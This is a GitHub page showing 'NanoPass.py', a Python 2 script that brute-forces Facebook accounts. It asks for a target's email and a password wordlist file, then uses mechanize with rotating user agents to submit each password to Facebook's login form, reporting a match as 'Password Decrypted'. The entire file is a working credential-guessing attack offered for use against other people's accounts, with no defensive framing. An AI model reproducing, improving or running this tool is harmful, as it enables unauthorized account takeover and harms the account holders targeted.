-
Notifications
You must be signed in to change notification settings - Fork 0
/
NanoPass.py
146 lines (118 loc) · 4.24 KB
/
NanoPass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import os
import sys
import mechanize
import cookielib
import random
import time
os.system('clear')
def runntek(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(10. / 100)
if sys.platform == "linux" or sys.platform == "linux2":
GL = "\033[96;1m" # Blue aqua
BB = "\033[34;1m" # Blue light
YY = "\033[33;1m" # Yellow light
GG = "\033[32;1m" # Green light
WW = "\033[0;1m" # White light
RR = "\033[31;1m" # Red light
CC = "\033[36;1m" # Cyan light
B = "\033[34m" # Blue
Y = "\033[33;1m" # Yellow
G = "\033[32m" # Green
W = "\033[0;1m" # White
R = "\033[31m" # Red
C = "\033[36;1m" # Cyan
rand = (BB,YY,GG,WW,RR,CC)
P = random.choice(rand)
def cover():
print """
"""
runntek(GL+" NanoPass by ACommonDoomer - WeAreOpenSource")
time.sleep(1)
print " "
print RR+" +====================================+"
print GG+" |https://flametrash.glitch.me |"
print RR+" +====================================+"
print RR+" +====================================+"
print GG+" | NanoPass by ACommonDoomer |"
print RR+" +====================================+"
cover()
email = str(raw_input(GL+" Set objective ID\033[33;1m: "))
passwordlist = str(raw_input(WW+" Set password list file\033[95m[escribe > pass.txt, para iniciar] \033[92;1m: "))
#login = 'https://m.facebook.com/login/?ref=dbl&fl&refid=8'
login = 'https://www.facebook.com/login.php?login_attempt=1'
useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Geck')]
def runntek(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(10. / 100)
def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
welcome()
search()
print " "
runntek(RR+" Word list, no coincidences")
runntek(RR+" Write your own word list")
time.sleep(1)
print WW+34*" -"
kol()
def kol():
nok = raw_input("Edit wordlist cuk.? \033[96;1m[y/n]: ")
if nok == "y":
print ("Write order\033[92;1m[ nano pass.txt ] !")
print WW+(41*"-")
print GL+(" ")
os.sys.exit()
else:
exit(0)
def brute(password):
sys.stdout.write(GG+"\r[+]\033[97;1m Testing ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr = 0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and (not 'login_attempt' in log):
print("\033[92;1m\n\n[+]\033[97;1m Password Decrypted \033[31;1m===| \033[96;1m{}".format(password))
print " "
raw_input(WW+"Press enter to exit...")
sys.exit(1)
def search():
global password
passwords = open(passwordlist,"r")
for password in passwords:
passwords = password.replace("\n","")
brute(password)
#welcome
def welcome():
wel = GG+"""
Thanks!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \033[96;4mWeAreOpenSOurce\033[92;1m
|_|
"""
print wel
print " "
total = open(passwordlist,"r")
total = total.readlines()
print " "
print GL+" [*] Account to crack : {}".format(email)
print RR+" [*] Quantity :" , len(total),WW+ "passwords"
print Y+" [*] Cracking, please wait...\n\n"
if __name__ == '__main__':
main()